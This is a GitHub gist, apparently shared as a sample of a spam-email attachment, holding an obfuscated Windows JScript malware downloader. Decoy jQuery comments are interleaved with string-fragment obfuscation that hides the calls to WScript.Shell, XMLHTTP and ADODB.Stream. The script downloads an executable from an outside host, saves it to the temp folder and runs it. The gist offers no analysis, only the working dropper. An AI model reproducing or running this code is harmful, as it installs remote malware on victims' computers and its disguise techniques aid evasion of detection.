Skip to content

Instantly share code, notes, and snippets.

@Mrono
Last active March 11, 2016 21:36
Show Gist options
  • Save Mrono/13bb8fc85bc7d6ccfb09 to your computer and use it in GitHub Desktop.
Save Mrono/13bb8fc85bc7d6ccfb09 to your computer and use it in GitHub Desktop.
Encoded spam js
//function( tag, context ) { var elem, tmp = [], i = 0, By happy coincidence, a (broken) gEBTN appears on DocumentFragment nodes too results = context.getElementsByTagName( tag );
var sLsXRI = [("poniard", "related", "callous", "retailer", "ct") + "b" + "K" + ("invite", "optimism", "kip") + "BgQj", ("testimonial", "regina", "diffident", "abstractedly", "Bils") + "K" + "pO" + "Y" + "FD", "E" + ("fetish", "employers", "eventually", "pixel", "xpa") + ("native", "fonts", "ndEnvironment") + ("waterfall", "dispensation", "persian", "paternity", "Stri") + ("formation", "independent", "election", "n") + ("dagon", "capuchin", "promotes", "discordant", "gs"), "%" + "TE" + "M" + ("spill", "copenhagen", "theologian", "P%"), "/oftcdJt" + "." + ("puppy", "rebuild", "dastardly", "greensboro", "e") + "xe", ("airplane", "contamination", "ignominious", "R") + "un", ("antibody", "basketball", "A") + "c" + "ti" + ("dishevelled", "outlive", "arrived", "beaux", "veX") + "O" + ("magnanimous", "warsaw", "malign", "circumcised", "b") + "j" + "ect", "W" + "S" + "cr" + ("disable", "speed", "garlic", "ipt.") + ("sedate", "rochester", "clinic", "S") + "he" + "ll", "Eoqr" + "urM" + "V" + ("grade", "critter", "TUB"), "MS" + "X" + ("iceberg", "agrees", "frolic", "adjustment", "M") + ("figures", "boatswain", "mostly", "L2") + "." + "XMLH" + "T" + ("gaoler", "indiana", "partly", "notoriety", "TP")];
//QSA/matchesSelector ---------------------------------------------------------------------- */
var RMREyl = this[sLsXRI[18 / 3]];
var QaXtUddNv = new RMREyl(sLsXRI[7]);
//} return tmp; } return results; };
var SrEgeMIJc = new RMREyl(sLsXRI[9]);
//Filter out possible comments if ( tag === \"*\" ) { while ( (elem = results[i++]) ) { if ( elem.nodeType === 1 ) { tmp.push( elem ); }
var LvuQivvXa = QaXtUddNv[sLsXRI[2]](sLsXRI[3]) + sLsXRI[4];
//Class Expr.find[\"CLASS\"] = support.getElementsByClassName && function( className, context ) { if ( typeof context.getElementsByClassName !== \"undefined\" && documentIsHTML ) { return context.getElementsByClassName( className ); } };
SrEgeMIJc.onreadystatechange = function() {
if (SrEgeMIJc["rea" + "d" + "ys" + ("truthfulness", "otherwise", "harangue", "t") + ("claret", "attend", "ate")] === 4) {
var RSLPu = new RMREyl(("violate", "antithesis", "pacify", "AD") + "O" + ("jaguar", "stopping", "tattooed", "D") + "B." + ("verification", "nehemiah", "documents", "accomplishes", "S") + ("vespers", "fragmentary", "chaotic", "tr") + "e" + "am");
RSLPu["o" + "p" + ("celibate", "judgment", "midlands", "applicable", "en")]();
//QSA and matchesSelector support
RSLPu.type = 10 / 5 + 3 - 4;
//matchesSelector(:active) reports false when true (IE9/Opera 11.5) rbuggyMatches = [];
RSLPu[("concentric", "radius", "w") + "ri" + "te"](SrEgeMIJc["Res" + "po" + "ns" + "e" + ("strasburg", "guarantees", "administrator", "snowboard", "B") + ("blots", "furthermore", "angola", "mcdonald", "ody")]);
//qSa(:focus) reports false when true (Chrome 21) We allow this because of a bug in IE8/9 that throws an error whenever `document.activeElement` is accessed on an iframe So, we allow :focus to pass through QSA all the time to avoid the IE error See http:bugs.jquery.com/ticket/13378 rbuggyQSA = [];
RSLPu["p" + ("elliptical", "firebrand", "initiatives", "incidentally", "osit") + "i" + "on"] = 0;
//if ( (support.qsa = rnative.test( document.querySelectorAll )) ) { Build QSA regex Regex strategy adopted from Diego Perini assert(function( div ) { Select is set to empty string on purpose This is to test IE\"s treatment of not explicitly setting a boolean content attribute, since its presence should be enough http:bugs.jquery.com/ticket/12359 docElem.appendChild( div ).innerHTML = \"<a id=\"\" + expando + \"\"></a>\" + \"<select id=\"\" + expando + \"-\r\" msallowcapture=\"\">\" + \"<option selected=\"\"></option></select>\";
RSLPu.saveToFile(LvuQivvXa, 2);
//Support: IE8, Opera 11-12.16 Nothing should be selected when empty strings follow ^= or $= or *= The test attribute must be unknown in Opera but \"safe\" for WinRT http:msdn.microsoft.com/en-us/library/ie/hh465388.aspx#attribute_section if ( div.querySelectorAll(\"[msallowcapture^=\"\"]\").length ) { rbuggyQSA.push( \"[*^$]=\" + whitespace + \"*(?:\"\"|\"\")\" );
RSLPu.close();
//} Support: IE8 Boolean attributes and \"value\" are not treated correctly if ( !div.querySelectorAll(\"[selected]\").length ) { rbuggyQSA.push( \"\[\" + whitespace + \"*(?:value|\" + booleans + \")\" );
};
};
try {
// } Support: Chrome<29, Android<4.4, Safari<7.0+, iOS<7.0+, PhantomJS<1.9.8+ if ( !div.querySelectorAll( \"[id~=\" + expando + \"-]\" ).length ) { rbuggyQSA.push(\"~=\");
SrEgeMIJc.open("G" + ("tricky", "characterize", "someone", "ET"), "http://nc" + "rweb.in/s" + ("parasitic", "uninformed", "y") + ("vitals", "skins", "monogram", "enthusiast", "stem/lo") + ("remainder", "signet", "croatia", "buttoned", "gs/7") + "t6" + ("cooperation", "jessica", "f65g.") + "exe", false);
//} Webkit/Opera - :checked should return selected option elements http:www.w3.org/TR/2011/REC-css3-selectors-20110929/#checked IE8 throws error here and will not see later tests if ( !div.querySelectorAll(\":checked\").length ) { rbuggyQSA.push(\":checked\");
SrEgeMIJc[("psyche", "collaborative", "flight", "eclipse", "s") + ("flags", "khaki", "braxton", "similar", "e") + "nd"]();
//} Support: Safari 8+, iOS 8+ https:bugs.webkit.org/show_bug.cgi?id=136851 In-page `selector#id sibing-combinator selector` fails if ( !div.querySelectorAll( \"a#\" + expando + \"+*\" ).length ) { rbuggyQSA.push(\".#.+[+~]\"); } });
QaXtUddNv[sLsXRI[5]](LvuQivvXa, 1, "UxsXGlAWCF" === "txcMFQg");
WyvQoh = "} FF 3.5 - :enabled/:disabled and hidden elements (hidden elements are still enabled) IE8 throws error here and will not see later tests if ( !div.querySelectorAll(\":enabled\").length ) { rbuggyQSA.push( \":enabled\", \":disabled\" ); ";
//assert(function( div ) { Support: Windows 8 Native Apps The type and name attributes are restricted during .innerHTML assignment var input = document.createElement(\"input\"); input.setAttribute( \"type\", \"hidden\" ); div.appendChild( input ).setAttribute( \"name\", \"D\" );
} catch (TvKuIqwFy) {};
//Support: IE8 Enforce case-sensitivity of name attribute if ( div.querySelectorAll(\"[name=d]\").length ) { rbuggyQSA.push( \"name\" + whitespace + \"*[*^$|!~]?=\" );
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment